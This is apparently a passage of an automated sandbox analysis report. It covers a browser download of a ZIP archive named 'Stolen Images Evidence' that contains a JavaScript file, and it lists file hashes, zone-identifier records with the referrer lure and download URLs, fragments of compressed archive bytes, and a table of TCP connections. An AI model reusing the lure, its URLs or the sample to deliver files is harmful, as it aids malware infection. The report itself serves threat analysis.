Preview:	PK..........RS........ H......Stolen Images Evidence.js.;[w.....W.=...{......U[Q@Y{.3..Z.:.V...$....X.%...-_..p...t...9.......D...)j9=.8H+K..W.N%=.Q...0.IU..gAPVT5.....o.\|....Y.N...TE..{..C.......H~U.F.%.......UT.u.'........W..].(A...s{.\,C.._........X.E..W.~l......o..nJ...no....}....~....ez.. ..~..)OP..0TG.....w..{..M6......@...R..!...\|.b.IZQc\.8....e.....(...jdziP..t00..@.T..a.<f.J.TQb.N....D.>}....p.0.9.HO.S.....%C....\.V.f.j.......[[..DM...(..e4.W+...R.._.....A4<P.7....[x...1E.V.g....9......_.7..}x...}..../?...%..Gi{.-J..p3..2....._.<g.-...j.I.....E....6.\&2....k+........./O...t...~GKPT..J..K}.)}.~...ER...}.MqP.#.'._.....F.0.. ...&.B.0.CE.3..j4..E:U..55R...(..~.J.+...4.,(.I[...(.0.\7..<t.:$P....j.PP...j.?AU.<..l..<.T.\|.'/J~_/....Q.8.......U....hH.'6.7U..z.Y../....%H@TH......[$..,....iY.+.....@Rv:]...g{../...H'n*.<.@]b.....G...4..6.oR.x.Vrc.....%..9-....K./r..T1..,........0.i).....s5m.k;.....U.......xUAx..VV..J....4J9....u.u.X..$.F.....sV... .}.

C:\Users\user\Downloads\Stolen Images Evidence (2).zip:Zone.Identifier Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	393
Entropy (8bit):	5.353022497017564
Encrypted:	false
SSDEEP:	12:LAt3MLZ/ME/OBUP9WQ6JWfbGNHBYzEcb5dVuuw:LOMuE/uUPMQxGNhI54
MD5:	EFACA3E1A8F6F20D8397DA854D925296
SHA1:	9DE923BD4DC4EA9BD7CF8489B5F5081A13A25A4E
SHA-256:	7104494CDCAB90D1618FAB562B9819E3E47E095F2A401D4CD1D6E57A0F13AC00
SHA-512:	F9FFAF269B488E74F806E7354B340366C3E140836531E697D384EED381438C59481CC5380CD61FDB323A815032F0A36155B233C5DFFA9CB347ECEFCE358CA3B1
Malicious:	false
Reputation:	low
Preview:	[ZoneTransfer]..ZoneId=3..ReferrerUrl=https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721..HostUrl=https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcmevd2ocn9hi3nttjunvchc3gtu/1634589900000/10323111707164989971/04457783464220248333Z/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download..

C:\Users\user\Downloads\Stolen Images Evidence.zip.crdownload. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	7.950907999861179
Encrypted:	false
SSDEEP:	96:AQcr55u0wiJhLHHhpJEwNWrQt2NXUiMwv1pGoOK2hrm/bcTR3R5huVrv:tcV5JhzhpJdNWszwv13OK2KclduVD
MD5:	173C1E5728F362757658B0DCE2E37D78
SHA1:	3305694787EF9E42344916806AE898D7E3A52665
SHA-256:	B81F7C905AC4C3FB5A8E4FDF07A85D8CD4DAA4F0D31BA950EBD043F013F9577D
SHA-512:	3E1B6ECF60B8DDAC9B977A8746AF0C7EFB7625214490D3605104C2F64D5FA6B540F89F9A10B3D6F07053800C06B1F918FB8A1C61D7B899A1CE5ED2D72CF49E0F
Malicious:	false
Reputation:	low
Preview:	PK..........RS........ H......Stolen Images Evidence.js.;[w.....W.=...{......U[Q@Y{.3..Z.:.V...$....X.%...-_..p...t...9.......D...)j9=.8H+K..W.N%=.Q...0.IU..gAPVT5.....o.\|....Y.N...TE..{..C.......H~U.F.%.......UT.u.'........W..].(A...s{.\,C.._........X.E..W.~l......o..nJ...no....}....~....ez.. ..~..)OP..0TG.....w..{..M6......@...R..!...\|.b.IZQc\.8....e.....(...jdziP..t00..@.T..a.<f.J.TQb.N....D.>}....p.0.9.HO.S.....%C....\.V.f.j.......[[..DM...(..e4.W+...R.._.....A4<P.7....[x...1E.V.g....9......_.7..}x...}..../?...%..Gi{.-J..p3..2....._.<g.-...j.I.....E....6.\&2....k+........./O...t...~GKPT..J..K}.)}.~...ER...}.MqP.#.'._.....F.0.. ...&.B.0.CE.3..j4..E:U..55R...(..~.J.+...4.,(.I[...(.0.\7..<t.:$P....j.PP...j.?AU.<..l..<.T.\|.'/J~_/....Q.8.......U....hH.'6.7U..z.Y../....%H@TH......[$..,....iY.+.....@Rv:]...g{../...H'n*.<.@]b.....G...4..6.oR.x.Vrc.....%..9-....K./r..T1..,........0.i).....s5m.k;.....U.......xUAx..VV..J....4J9....u.u.X..$.F.....sV... .}.

C:\Users\user\Downloads\Stolen Images Evidence.zip:Zone.Identifier Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	374
Entropy (8bit):	5.401666787154305
Encrypted:	false
SSDEEP:	6:qY33Atj4kMLZHfME/OBUPTCUWQ6NAvtX4KfVJ8GNHBTCezTjZDEaMjwHuY1xwNB:LAt3MLZ/ME/OBUP9WQ6Ovtn6GNHBT5z2
MD5:	3CC031E93A6E2DECCACC3915A29C4871
SHA1:	6E074D398D48DB767495ADD91E946E5DE686181A
SHA-256:	0666F70FA77BEF6F5C99AC290EAD6F0535E855B29D23D2E0CD1EB21262F728EE
SHA-512:	5C26D07D5C850D4FA58B1C9B16D6D1C587B7282D47925094A3FC5816DAF1B92977315DC89FE1EFE5602D2665461451AC00384DD81E10FE88B0553E10E67807B8
Malicious:	false
Reputation:	low
Preview:	[ZoneTransfer]..ZoneId=3..ReferrerUrl=https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#..HostUrl=https://doc-0o-ac-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5ufbkmnghngb1btrk334bg0j65u/1634589900000/10323111707164989971/*/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download..

C:\Users\user\Downloads\ea861073-bddd-44c5-ba99-ec989ea2c03a.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	7.950907999861179
Encrypted:	false
SSDEEP:	96:AQcr55u0wiJhLHHhpJEwNWrQt2NXUiMwv1pGoOK2hrm/bcTR3R5huVrv:tcV5JhzhpJdNWszwv13OK2KclduVD
MD5:	173C1E5728F362757658B0DCE2E37D78
SHA1:	3305694787EF9E42344916806AE898D7E3A52665
SHA-256:	B81F7C905AC4C3FB5A8E4FDF07A85D8CD4DAA4F0D31BA950EBD043F013F9577D
SHA-512:	3E1B6ECF60B8DDAC9B977A8746AF0C7EFB7625214490D3605104C2F64D5FA6B540F89F9A10B3D6F07053800C06B1F918FB8A1C61D7B899A1CE5ED2D72CF49E0F
Malicious:	false
Reputation:	low
Preview:	PK..........RS........ H......Stolen Images Evidence.js.;[w.....W.=...{......U[Q@Y{.3..Z.:.V...$....X.%...-_..p...t...9.......D...)j9=.8H+K..W.N%=.Q...0.IU..gAPVT5.....o.\|....Y.N...TE..{..C.......H~U.F.%.......UT.u.'........W..].(A...s{.\,C.._........X.E..W.~l......o..nJ...no....}....~....ez.. ..~..)OP..0TG.....w..{..M6......@...R..!...\|.b.IZQc\.8....e.....(...jdziP..t00..@.T..a.<f.J.TQb.N....D.>}....p.0.9.HO.S.....%C....\.V.f.j.......[[..DM...(..e4.W+...R.._.....A4<P.7....[x...1E.V.g....9......_.7..}x...}..../?...%..Gi{.-J..p3..2....._.<g.-...j.I.....E....6.\&2....k+........./O...t...~GKPT..J..K}.)}.~...ER...}.MqP.#.'._.....F.0.. ...&.B.0.CE.3..j4..E:U..55R...(..~.J.+...4.,(.I[...(.0.\7..<t.:$P....j.PP...j.?AU.<..l..<.T.\|.'/J~_/....Q.8.......U....hH.'6.7U..z.Y../....%H@TH......[$..,....iY.+.....@Rv:]...g{../...H'n*.<.@]b.....G...4..6.oR.x.Vrc.....%..9-....K./r..T1..,........0.i).....s5m.k;.....U.......xUAx..VV..J....4J9....u.u.X..$.F.....sV... .}.

Static File Info

No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2021 22:45:43.412059069 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.412098885 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.412178040 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.413209915 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.413278103 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.413458109 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.414014101 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.414033890 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.414115906 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.414361954 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.414377928 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.414880991 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.414925098 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.415035963 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.415112019 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.415190935 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.415381908 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.415407896 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.419229984 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.419262886 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.474011898 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.474416971 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.474450111 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.475425959 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.475660086 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.475775003 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.478353977 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.478387117 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.478796959 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.479737043 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.480812073 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.480830908 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.480844021 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.482299089 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.483042955 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.483097076 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.483596087 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.483659029 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.483726025 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.483984947 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.484008074 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.484781027 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.484859943 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.485373020 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.485466003 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.521620989 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.819820881 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.820063114 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.820791006 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.821094990 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.821527958 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.821800947 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.823863983 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.824142933 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.832583904 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.832634926 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.832678080 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.832709074 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.862452984 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.862495899 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.870512962 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.870623112 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.870663881 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.870691061 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.870754957 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.876741886 CEST	49740	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.876775980 CEST	443	49740	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:43.881434917 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.881474972 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.881540060 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.903438091 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:43.905627012 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.906428099 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.906548977 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.907949924 CEST	49741	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:43.907977104 CEST	443	49741	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:43.981512070 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:44.214039087 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.214087009 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.214251995 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.214474916 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.214500904 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.214593887 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.214762926 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.214797974 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.214915991 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.214931011 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.217488050 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.217540979 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.217744112 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.217863083 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.217894077 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.262451887 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.263005018 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.270698071 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.270728111 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.270733118 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.270780087 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.271972895 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.272001982 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.272089958 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.272140980 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.277070999 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.277271986 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.277308941 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.277417898 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.277441978 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.277534962 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.277566910 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.277604103 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303363085 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303397894 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303430080 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303463936 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.303472996 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303484917 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303498030 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.303539991 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.303550959 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303800106 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303843021 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303884983 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.303905010 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.303970098 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.304119110 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.304202080 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.304236889 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.304277897 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.304296970 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.304383993 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.304984093 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305073977 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305118084 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305166960 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305170059 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.305243015 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305274963 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.305764914 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305855036 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.305879116 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.305939913 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306003094 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.306063890 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306102037 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306145906 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306147099 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.306163073 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306205988 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.306879044 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306921959 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.306961060 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.306981087 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.307074070 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.307087898 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.312134027 CEST	49745	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.312161922 CEST	443	49745	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319235086 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319272041 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319303989 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319336891 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319353104 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.319382906 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319402933 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.319442034 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.319509029 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319567919 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319602966 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319628000 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.319643021 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.319691896 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.320404053 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.320463896 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.320502043 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.320540905 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.320549965 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.320561886 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.320620060 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.321496010 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.321609974 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.321635008 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.322453022 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.322509050 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.322545052 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.322566986 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.322607994 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.322649956 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.323415041 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.323539019 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.324302912 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.324373960 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.324443102 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.324459076 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.324469090 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.325205088 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.325285912 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.325306892 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.325356960 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.325357914 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.325403929 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.325721979 CEST	49746	443	192.168.2.5	104.16.19.94
Oct 18, 2021 22:45:44.325743914 CEST	443	49746	104.16.19.94	192.168.2.5
Oct 18, 2021 22:45:44.372524023 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.372555017 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.372615099 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.372874975 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.372884035 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.430475950 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.437633991 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.437681913 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.440953016 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.441106081 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.442616940 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.442789078 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.442805052 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.483134031 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.500587940 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.500664949 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.500684977 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.500709057 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.500754118 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.500854969 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.500864029 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.500929117 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.501143932 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.501229048 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.501307011 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.508253098 CEST	49750	443	192.168.2.5	142.250.203.100
Oct 18, 2021 22:45:44.508277893 CEST	443	49750	142.250.203.100	192.168.2.5
Oct 18, 2021 22:45:44.599776030 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.600241899 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.600263119 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.601406097 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.601536036 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.604351044 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.604465008 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.604749918 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.604815006 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.720477104 CEST	49747	443	192.168.2.5	37.19.206.70
